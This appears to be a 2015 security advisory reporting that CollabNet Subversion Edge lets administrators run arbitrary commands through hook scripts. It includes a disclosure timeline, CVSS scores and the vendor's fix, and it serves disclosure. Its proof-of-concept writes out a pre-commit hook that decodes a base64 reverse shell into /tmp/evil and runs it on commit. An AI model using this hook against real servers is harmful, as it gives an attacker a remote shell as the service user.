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CollabNet Subversion Edge Management Frontend Privilege Escalation

CollabNet Subversion Edge Management Frontend Privilege Escalation
Posted Jun 29, 2015
Authored by otr

The CollabNet Subversion Edge Management Frontend allows authenticated administrators to escalate their privileges by creating and executing hook scripts. As a result they are able to execute arbitrary commands as the user the Management Frontend is running under without authenticating with valid credentials. Fixed in version 5.0.

tags | exploit, arbitrary
SHA-256 | 6367d80f85ed6df597af815bf79b0b9c35711023632a3e93c0eae53e289e7171

CollabNet Subversion Edge Management Frontend Privilege Escalation

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# Vuln Title: The CollabNet Subversion Edge Management Frontend SVN hook scripts
# privilege escalation
#
# Date: 28.06.2015
# Author: otr
# Software Link: https://www.open.collab.net/downloads/svnedge
# Vendor: CollabNet
# Version: 4.0.11
# Tested on: Fedora Linux
# Type: Privilege escalation design flaw
#
# CVE : Requested
# Risk: High
#
# CVSS Vector: AV:N/Ac:L/Au:S/C:C/I:C/A:C/E:POC/RL:W/RC:UC
# CVSS Base Score: 9.0
# CVSS Temporal Score: 7.0
#
# Status: pubic/fixed
# Fixed version: 5.0

2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated
administrators to escalate their privileges by creating and executing hook
scripts. As a result they are able to execute arbitrary commands as the user the
Management Frontend is running under without authenticating with valid
credentials.

POC:

1. Add a pre commit hook with the following content:
#!/bin/sh
echo "$base64_encoded_reverseshell" | /usr/bin/base64 -d > /tmp/evil
/bin/chmod +x /tmp/evil
/tmp/evil
exit 0

2. Edit a file of a SVN repository
3. Do: svn commit
4. Get a reverse shell running as the service user of Subversion Edge

Fix proposal:

Provide a configuration option inaccessible from the Web Gui that disables this
feature.

Addtionally implement an authentication prompt that requires the administrator
to authenticate as the user running (which is typically a service user)
the management frontend web app for performing actions on hook scripts.

Vendor fix:

The hook script editor is now disabled by default. It is enabled via the
security.properties file
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